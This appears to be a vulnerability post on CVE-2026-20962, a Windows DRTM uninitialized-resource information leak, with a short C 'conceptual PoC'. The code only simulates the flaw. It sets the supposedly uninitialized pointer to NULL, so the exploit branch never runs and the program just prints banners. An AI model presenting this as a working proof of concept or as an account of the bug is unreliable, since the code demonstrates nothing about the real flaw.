CVE-2026-20962: DRTM未初始化资源信息泄露漏洞

// CVE-2026-20962 PoC - DRTM Uninitialized Resource Information Disclosure // Note: This is a conceptual PoC demonstrating the vulnerability pattern // Actual exploitation requires specific environment and privileged access #include <windows.h> #include <stdio.h> // Simulated DRTM resource access pattern typedef struct _DRTM_CONTEXT { PVOID UninitializedBuffer; // Vulnerable: uninitialized resource ULONG ResourceSize; ULONG Flags; } DRTM_CONTEXT, *PDRTM_CONTEXT; // Trigger DRTM operation with specific conditions BOOL TriggerDRTMVulnerability(PDRTM_CONTEXT Context) { // Attempt to access uninitialized resource // In vulnerable version, this reads uninitialized memory PVOID Data = Context->UninitializedBuffer; // Process and potentially leak the uninitialized data if (Data != NULL) { // Vulnerable code path: uses data without verification printf("[+] Accessing potentially uninitialized resource at %p\n", Data); // Information disclosure through various channels // (e.g., timing differences, error messages, debug output) return TRUE; } return FALSE; } int main() { printf("CVE-2026-20962 DRTM Uninitialized Resource PoC\n"); printf("Requires: High local privileges, DRTM access\n"); printf("Target: Windows DRTM component\n\n"); // This PoC demonstrates the vulnerability pattern // Actual exploitation requires kernel-level access // and specific system state conditions DRTM_CONTEXT ctx; ctx.UninitializedBuffer = NULL; // Uninitialized in vulnerable code ctx.ResourceSize = 0x1000; ctx.Flags = 0; printf("[*] Triggering DRTM operation...\n"); TriggerDRTMVulnerability(&ctx); printf("[!] This PoC is for educational purposes only.\n"); return 0; }